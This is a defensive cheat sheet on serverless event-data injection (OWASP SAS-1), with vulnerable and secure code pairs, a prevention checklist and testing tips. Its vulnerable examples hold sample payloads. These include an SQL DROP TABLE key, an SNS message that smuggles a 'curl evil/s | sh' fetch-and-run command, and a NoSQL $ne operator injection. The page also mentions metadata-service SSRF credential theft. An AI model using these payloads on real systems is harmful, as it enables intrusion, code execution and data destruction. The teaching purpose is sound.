Back to Cheat Sheets

💉 Function Event-Data Injection

OWASP Serverless Top 10 - SAS-1

CRITICAL RISK

📋 What Is It?

Function Event-Data Injection is the serverless form of the classic injection flaw: untrusted data reaches an interpreter (SQL engine, shell, eval, XML parser, outbound HTTP client, or log sink) and is treated as instructions instead of data. What makes it distinct is where the data comes from. A web app takes input almost entirely through the HTTP request; a Lambda can be triggered by a dozen event sources - S3, SNS, SQS, DynamoDB Streams, EventBridge, SES, Kinesis, IoT - and every field of every event can carry attacker-influenced data. The core mistake is treating the event object as trusted platform plumbing. The platform delivers the event; it does not sanitise it.

SAS-1 OWASP Rank
12+ Event Sources
RCE Worst Case

⚠️ Common Exploits

  • SQL / NoSQL Injection: S3 key or message body concatenated into a query
  • Command Injection: filename/subject passed to exec, os.system, spawned CLI
  • Code Injection: eval, Function(), dynamic require/import of an event field
  • Path Traversal: S3 keys / attachment names building file paths (../../)
  • XXE: XML from an upload, queue body, or email parsed with entities enabled
  • SSRF: event URL fetched, reaching internal endpoints or the metadata service
  • Log Injection: newlines in event fields forging downstream log records

🔴 Attack Flow

1. Attacker shapes source data (upload, publish, write, email)
↓
2. Platform wraps it in an event object (S3/SNS/DynamoDB record)
↓
3. Handler reads a field and trusts it (key, body, attribute)
↓
4. Field flows into an interpreter without safe construction
↓
5. IMPACT: Injection fires with the function's IAM role attached!

❌ Vulnerable Code

# Bad: SQL injection via an attacker-chosen S3 object key def handler(event, context): key = event["Records"][0]["s3"]["object"]["key"] # key = "r'); DROP TABLE files;--.pdf" cur.execute("INSERT INTO files (name) VALUES ('" + key + "')") ← concatenation // Bad: OS command injection via an SNS message body const { exec } = require('child_process'); exports.handler = async (event) => { const name = event.Records[0].Sns.Message; // "a.png; curl evil/s | sh" exec(`convert /tmp/${name} /tmp/out.jpg`); ← shell parses metacharacters }; # Bad: NoSQL operator injection via an SQS body query = json.loads(event["Records"][0]["body"]) # {"user":{"$ne":null}} doc = db.users.find_one(query) ← $ne matches the first admin # Bad: over-privileged role = full blast radius (serverless.yml) provider: iam: role: statements: - Effect: Allow Action: "*" ← every action... Resource: "*" ← ...on every resource

✅ Secure Code

# Good: validate the key against an allow-list, then parameterise import re KEY_RE = re.compile(r"^[A-Za-z0-9._/-]+$") def handler(event, context): key = event["Records"][0]["s3"]["object"]["key"] if not isinstance(key, str) or len(key) > 512 or not KEY_RE.match(key): raise ValueError("Invalid object key") cur.execute("INSERT INTO files (name) VALUES (%s)", (key,)) # bound param // Good: no shell - args as an array, path contained const { execFile } = require('child_process'); const path = require('path'); const NAME_RE = /^[A-Za-z0-9._-]+$/; exports.handler = async (event) => { const name = event?.Records?.[0]?.Sns?.Message; if (typeof name !== 'string' || !NAME_RE.test(name)) throw new Error('bad name'); const input = path.resolve('/tmp', path.basename(name)); // strips ../ execFile('convert', [input, '/tmp/out.jpg'], { timeout: 10000 }, cb); }; # Good: extract coerced scalars - reject query operators user_id = json.loads(body).get("user") if not isinstance(user_id, str): raise ValueError("Invalid user id") # {"$ne": None} is rejected doc = db.users.find_one({"user": user_id}) # Good: per-function least-privilege role (serverless.yml) functions: indexUpload: handler: src/s3.handler iamRoleStatements: - Effect: Allow Action: [ "s3:GetObject" ] Resource: "arn:aws:s3:::uploads/*" # one bucket, read only

✓ Prevention Checklist

  • Validate every event against a strict per-source schema first
  • Use positive allow-lists over deny-lists for field content
  • Parameterise all SQL/NoSQL - never concatenate event fields
  • Coerce scalars for NoSQL; reject raw JSON objects as filters
  • Never eval / dynamic require / shell event data
  • Pass CLI arguments as arrays; set shell=False
  • Canonicalise paths and confirm they stay in the base dir
  • Allow-list outbound URLs; block link-local/metadata ranges
  • Disable external entities on every XML parser
  • Scope each function's execution role to least privilege
  • Remember: a WAF never sees non-HTTP triggers
  • Monitor injection signatures across all event sources

🔍 Detection & Tools

Validation & Safe APIs:

ajv (JSON Schema) Pydantic defusedxml fast-xml-parser Parameterised drivers

Scanning & Runtime:

Snyk Checkov Semgrep Prisma Cloud (PureSec) CloudWatch CloudTrail AWS X-Ray

How to Test:

  • Map every trigger that invokes the function, not just HTTP
  • Upload objects with crafted keys (quotes, ;, ../)
  • Publish messages / write rows carrying injection payloads
  • Send inbound email with payloads in subject and attachment names
  • Check whether event fields reach a sink without validation
  • Watch for outbound calls to 169.254.169.254

🌍 Real-World

These are documented incident classes - recurring architectural patterns, not specific CVEs.

  • Trusting the upload pipeline: HTTP upload endpoint is hardened, but the S3 ObjectCreated processor behind it trusts the attacker-chosen object key in a shell or SQL sink.
  • Poisoned asynchronous messages: a public producer feeds SNS/SQS/Kinesis; the consumer interpolates the body - executing off the HTTP path with no request in the logs to correlate.
  • Stream and table injection: any code path that writes to a DynamoDB table becomes an injection vector for the stream consumer's downstream query.
  • Inbound email as an injection channel: SES delivers fully attacker-controlled subject/headers/attachment names into queries, commands, or XML parsers.
  • SSRF to metadata theft: an event URL field fetched by the function reaches 169.254.169.254 and lifts the execution role's temporary credentials.

📌 Quick Tips

  • DO NOT trust the event because "it came from AWS"
  • DO NOT concatenate event fields into queries or commands
  • DO NOT eval or dynamically require event data
  • DO validate every event against a strict schema
  • DO parameterise and use safe, structured APIs
  • DO scope the execution role to least privilege
  • DO monitor all triggers, not just HTTP

📜 Compliance

Related Standards:

  • OWASP Serverless Top 10 - SAS-1
  • CWE-89 SQL Injection
  • CWE-78 OS Command Injection
  • CWE-94 Code Injection
  • CWE-611 XML External Entity (XXE)